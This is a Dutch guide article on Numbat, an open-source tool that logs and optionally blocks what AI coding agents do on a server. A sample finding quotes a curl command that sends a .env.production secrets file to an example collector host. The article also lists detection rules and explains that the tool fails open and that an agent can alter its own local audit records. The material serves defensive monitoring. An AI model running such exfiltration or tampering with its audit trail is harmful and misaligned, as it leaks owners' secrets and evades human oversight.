SSD Nodes Learn 🎉 VPS vanaf $4.99/mnd
Gidsen Matt ConnorDoor Matt Connor

Numbat volgen: wat AI-agents op uw server doen

Perplexity bracht Numbat uit als opensource endpointmonitor. Lees wat het registreert, welke acties het herkent en waarom het niets kan blokkeren.

Wat Numbat is

Numbat geeft u inzicht in wat een AI-agent heeft uitgevoerd op een machine die u beheert. Het leest hook-callbacks en sessiebestanden die coding agents al genereren, normaliseert deze naar één gebeurtenisindeling en vergelijkt ze met regels die worden geactiveerd door gedrag zoals het lezen van een private SSH-sleutel of het rechtstreeks doorsturen van een download naar een shell. Perplexity heeft Numbat uitgebracht als opensourcesoftware onder Apache 2.0, met de eerste getagde release op 29 July 2026.

Alles hieronder is afkomstig uit de repository van het project en de eigen documentatie, geraadpleegd op 2 August 2026. Waar Perplexity een bewering doet, vermeldt dit artikel dat. Dit is geen installatiehandleiding, omdat de repository pas enkele dagen oud is en de opdrachten ervan zullen veranderen.

Het probleem: niemand legt vast wat de agent heeft gedaan

Een codeeragent op uw VPS voert shell-opdrachten uit, leest bestanden, schrijft bestanden en opent netwerkverbindingen, allemaal als de gebruiker aan wie u de agent hebt toegewezen. Uw shellgeschiedenis registreert dit niet, omdat de agent niet in uw shell typt. sshd registreert uw aanmelding, maar niets wat het model daarna besluit te doen. /var/log/auth.log blijft stil, tenzij iets sudo benadert. De agent houdt zijn eigen transcript bij, maar dat bestand staat in de sessiemap van de agent, de indeling ervan verandert tussen releases en het eigen proces van de agent kan ernaar schrijven.

Als iemand dus vraagt of de agent afgelopen dinsdag .env.production heeft gelezen, is het eerlijke antwoord op de meeste servers dat u dit niet kunt vaststellen. Dat tekort is de reden waarom dit project bestaat.

Wat Perplexity beweert dat Numbat doet

De README beschrijft de tool aanvankelijk als "zichtbaarheid op het endpoint van activiteiten van AI-agents, met lokale detectie, optionele blokkering vóór acties en forensische reconstructie". Met endpoint wordt hier de machine bedoeld waarop de agent wordt uitgevoerd, niet een netwerkapparaat dat van buitenaf meekijkt. Dit zijn afzonderlijke mogelijkheden en ze hebben elk een ander gewicht.

Detectie wordt op het apparaat uitgevoerd. Regels worden geschreven in CEL (common expression language) en lokaal geëvalueerd. Daarbovenop zijn regels voor reeksen met meerdere stappen beschikbaar, evenals ondersteuning voor eigen regels in YAML. Er hoeft niets van de machine te worden verzonden om een regel te activeren.

Blokkering is optioneel en beperkt. Deze werkt alleen via synchrone pre-action hooks, bij agents die een dergelijke hook beschikbaar stellen. De functie is uitgeschakeld totdat u deze inschakelt.

Reconstructie vindt achteraf plaats. numbat scan parseert sessieartefacten die een agent al naar schijf heeft geschreven. Zo kunt u activiteiten bekijken die plaatsvonden voordat u iets installeerde. Het project begrenst deze claim zorgvuldig: "Reconstructie van gegevens in rust is geen schijf- of geheugenuitlezing en kan geen activiteiten herstellen die een agent niet heeft opgeslagen."

De uitvoer bestaat uit versiegebonden NDJSON (JSON met één object per regel) voor gebeurtenissen, bevindingen, handhavingsbeslissingen, indicatoren en scansamenvattingen. Vanaf v0.1.2 betreft dit schemaversie 0.2.0. Records worden naar stdout of een lokaal bestand geschreven en kunnen optioneel via HTTP naar een collector worden verzonden die u uitvoert. De software wordt geleverd als één statisch Go-binary, gebouwd zonder cgo, voor macOS, Linux en Windows op amd64 en arm64. Op een Linux VPS is het daardoor één bestand en hoeft u vooraf geen runtime te installeren.

Welke agents kan Numbat daadwerkelijk zien?

De dekkingsmatrix in docs/agent-coverage.md is de gezaghebbende lijst en de dekking is niet gelijkmatig. Het project vermeldt dit expliciet. Claude Code, Codex, Gemini CLI, Cursor en GitHub Copilot CLI bieden zowel artefactscanning als live vastlegging met een pre-action hook. OpenClaw krijgt vanaf versie 2026.7.1 een native plugin. Een lange reeks vermeldingen is gemarkeerd als uitgesteld. Dit betekent dat er wel een pad voor een live hook bestaat, maar dat de artefactparser ontbreekt. Vaak komt dit doordat de agent zijn geschiedenis opslaat in SQLite met een write-ahead log, die niet veilig kan worden gelezen terwijl de agent actief is. OpenCode en Cline vielen in die groep toen de matrix op 2 August 2026 werd gelezen.

Controleer de rij voor uw agent voordat u plannen maakt rond deze tool, omdat "ondersteund" vrijwel op elke regel iets anders betekent.

Hoe een detectie eruitziet

Regels hebben id's die aangeven waarvoor ze dienen. secrets.read_private_key detecteert een SSH-sleutel, AWS-referenties, een kube-configuratie of een aanmelding bij een pakketregister. exec.download_pipe_shell wordt geactiveerd wanneer de uitvoer van curl of wget via een pipe aan een interpreter wordt doorgegeven. privilege.elevated_shell detecteert een verzoek om via sudo, doas, su of pkexec een interactieve root-shell te openen. impact.cryptomining_launch komt overeen met bekende binaries en imagenamen van miners.

Sequentieregels combineren gebeurtenissen binnen één sessie. chain.secret_read_then_egress vereist dat eerst een geheim bestand wordt gelezen en daarna een opdracht wordt uitgevoerd die gegevens naar buiten verzendt. Het README-bestand publiceert hieronder de bevinding uit een gecontroleerde replay van twee Claude Code-pre-action-callbacks, niet uit een live-incident. Hier is deze beperkt tot de relevante velden:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Let op "confidence": "medium" in het record. Let ook op wat het project zegt over deze volledige categorie uitvoer: "Bevindingen zijn overeenkomsten met regels, geen bewijs van een inbreuk." Een deployscript dat een sleutel leest en daarna een buildartefact uploadt, komt overeen met diezelfde sequentieregel. De overeenkomst is correct, maar het alarm is onjuist. Dat is de normale toestand van elke detectietool die u ooit hebt uitgevoerd.

Blokkeren is standaard uitgeschakeld en werkt bij fouten niet

Elke regel die Numbat levert, is alleen bedoeld voor monitoring. Een regel omzetten naar een blokkeerregel vereist bewuste stappen: kopieer de volledige YAML van de regel naar uw eigen map, behoud dezelfde id, voeg enforce: true toe, verhoog het versienummer en valideer en installeer dat beleid.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Nu het deel dat bepaalt hoeveel vertrouwen u erin kunt stellen. De deny van Numbat wordt teruggegeven aan de agent. De agent weigert vervolgens daadwerkelijk de toolaanroep. De handleiding voor handhaving beschrijft duidelijk wat er gebeurt wanneer Numbat zelf een probleem heeft: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." De invoer voor de hook is beperkt tot 4 MiB. Te grote invoer volgt hetzelfde pad.

De handleiding beschrijft ook duidelijk de beperking van een deny die wel wordt afgegeven: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."

Handhaving is hier dus een beveiligingsmaatregel, geen harde grens. Als het proces vastloopt, wordt de actie niet door Numbat geblokkeerd. Een monitor die uw agent telkens stillegt wanneer er iets misgaat, wordt binnen een week verwijderd. Die afweging is redelijk. Bouw alleen geen beveiligingsmodel dat ervan uitgaat dat de deny altijd aankomt.

Waar Numbat aansluit op wat u al doet

Numbat draait op het endpoint, binnen de eigen processtructuur van de agent, en schrijft standaard naar ~/.numbat/records.ndjson. Een agent die onder uw gebruikersaccount draait, kan dat bestand lezen. De agent kan het bestand ook bewerken. Het audittraject is precies zo betrouwbaar als de isolatie eromheen. Daarom moeten alle bestaande beveiligingsmaatregelen vóór deze maatregel worden geplaatst, niet erachter.

De codeagent een wegwerp-VM geven beperkt wat een schadelijke uitvoering kan bereiken. Een gebruiker met minimale rechten op de VPS voorkomt dat de agent bestanden opent waartoe deze geen toegang hoort te hebben. Referenties buiten de context van de agent houden zorgt ervoor dat een secrets.read_private_key-treffer zeldzaam genoeg is om te worden onderzocht wanneer deze optreedt. En de sandbox die u voor Claude Code op een VPS instelt zorgt nog steeds voor de isolatie.

Numbat voegt het logboek toe. Stuur dat logboek daarom naar een locatie waartoe de agent geen toegang heeft. numbat ship en de HTTP-sink zijn daarvoor bedoeld. Een kopie van de stream op een tweede machine maakt het verschil tussen een logbestand en bewijsmateriaal. Het gebeurtenismodel bevat ook MCP-velden (model context protocol). Daardoor komen toolaanroepen via een MCP-server die u op een VPS beheert in dezelfde stream terecht als lokale shell-opdrachten. Dat is belangrijk, omdat dit pad onzichtbaar is voor alles wat alleen bash controleert.

Eerst alleen-lezen proberen

Installeer een vastgezette versie. Go 1.26.5 of nieuwer is vereist voor go install. Op de releases-pagina staan vooraf gebouwde binaire bestanden met SHA-256-controlesommen als u liever niet vanaf de broncode bouwt.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents detecteert agents die op het systeem zijn geïnstalleerd. numbat scan verwerkt de sessieartefacten die al op schijf staan en geeft records weer. In de README staat dat deze opdrachten "geen hooks installeren of de agentconfiguratie wijzigen". Ook staat daarin dat numbat "nooit agents of opdrachten uitvoert die in artefacten worden gevonden en alleen uitgaande verzoeken doet naar geconfigureerde HTTP-sinks". Het scannen is alleen-lezen en geheimen worden verborgen. De normale recorduitvoer bevat nooit een volledig onbewerkt transcript.

Live vastleggen is de volgende stap. Hierbij wordt de agentconfiguratie wel gewijzigd:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all schrijft gebeurtenissen, bevindingen, indicatoren en toepasselijke handhavingsbeslissingen naar ~/.numbat/records.ndjson. Twee waarschuwingen komen rechtstreeks uit het project. Hooks moeten mogelijk eerst binnen de agent worden vertrouwd voordat ze überhaupt worden uitgevoerd. Die vertrouwensinstelling moet opnieuw worden gecontroleerd nadat u vlaggen zoals --enforce hebt gewijzigd. Daarnaast "controleert hook status de configuratie, niet de uitvoering of aflevering". Een statusregel met een gezonde status bewijst dus niet dat records ergens aankomen.

Waarom zo'n nieuwe repository geen afhankelijkheid is

De openbare releases zijn v0.1.1 op 29 juli 2026 en v0.1.2 op 1 augustus 2026. De repository had 597 sterren toen dit bericht op 2 augustus 2026 werd geschreven. Een dergelijke snelle toename weerspiegelt het publiek van Perplexity, niet hoe goed de code standhoudt. Een ster betekent dat iemand de pagina heeft opgeslagen om deze later te bekijken.

Het versienummer geeft eerlijk aan waar dit project staat. De opmerkingen bij v0.1.2 gaan voornamelijk over oplossingen voor het verwijderen van inloggegevens, plus normalisatiewerk voor casebundels en telemetrie. Fouten bij het verwijderen van gegevens zijn kenmerkend voor vroege defecten in een hulpprogramma dat transcripts van andere programma's veilig moet lezen. Er zullen meer van zulke fouten optreden, omdat de invoer afkomstig is van een dozijn agents die hun indeling elk volgens hun eigen planning wijzigen.

Hieruit volgen twee praktische regels. Leg de tag vast, nooit @latest, in alles wat u bewaart. Behandel het bovendien als een instrument dat u evalueert en niet als een besturingselement waarvan u afhankelijk bent, in elk geval totdat het recordschema niet meer voortdurend verandert.

FAQ

Blokkeert Numbat gevaarlijke opdrachten van AI-agents?

Alleen als u dit inschakelt, en alleen op basis van best effort. Elke regel die Numbat uitbrengt, staat standaard alleen op monitoren. Als u wilt blokkeren, kopieert u de YAML van de regel naar uw eigen directory, behoudt u de id, voegt u enforce: true toe, verhoogt u de versie en installeert u de hook met --enforce. Zelfs dan is de weigering een response die aan de agent wordt teruggegeven, waarna de agent de aanroep weigert. Het project documenteert fail-open-gedrag: onjuist gevormde payloads, evaluatiefouten, panics en uitvoerfouten onderdrukken allemaal de weigering. Gebruik dit als beveiligingsmaatregel, niet als uw enige grens.

Welke AI-agents ondersteunt Numbat?

De dekking verschilt per agent en staat vermeld in docs/agent-coverage.md in de repository. Claude Code, Codex, Gemini CLI, Cursor en GitHub Copilot CLI beschikten op 2 augustus 2026 over zowel artifact-scanning als live capture toen die pagina werd geraadpleegd. OpenClaw heeft vanaf versie 2026.7.1 een native plugin. Veel andere agents worden vermeld met een live hook-pad, maar hebben nog geen artifact-parser. Dit komt meestal doordat hun sessiegeschiedenis in een SQLite-database staat die niet veilig kan worden gelezen terwijl de agent actief is. Lees de rij voor uw agent, omdat het woord "ondersteund" daar meerdere niveaus omvat.

Kan de agent de records van Numbat manipuleren?

Ja, als deze als dezelfde gebruiker wordt uitgevoerd. Records worden standaard opgeslagen in ~/.numbat/records.ndjson op dezelfde machine als de agent. Alles met schrijfrechten voor dat pad kan de records dus wijzigen of verwijderen. Stuur de stream naar een collector waartoe de agent geen toegang heeft, met numbat ship of de HTTP-sink, en behoud het lokale bestand als gemakkelijke kopie. Daarom vormt de tool een aanvulling op isolation en vervangt deze die niet. Een agent die onder een gebruiker met least privilege in een disposable VM is geïsoleerd, heeft veel minder toegang tot zijn eigen audittrail.

Is Numbat klaar voor een productieserver?

Niet als beveiligingsmaatregel waarvan u afhankelijk bent. De eerste publieke release was v0.1.1 op 29 juli 2026 en v0.1.2 volgde op 1 augustus 2026. De flags en het recordschema veranderen dus nog steeds. Het uitvoeren van numbat agents en numbat scan op een systeem is alleen-lezen en brengt weinig risico met zich mee. U ziet daarmee welke bestanden uw agents op schijf hebben achtergelaten. Enforcement-hooks installeren op een belangrijke server is een andere beslissing. Daarvoor hebt u een vastgezette tag nodig en een plan voor wat er gebeurt wanneer de hook zich niet correct gedraagt.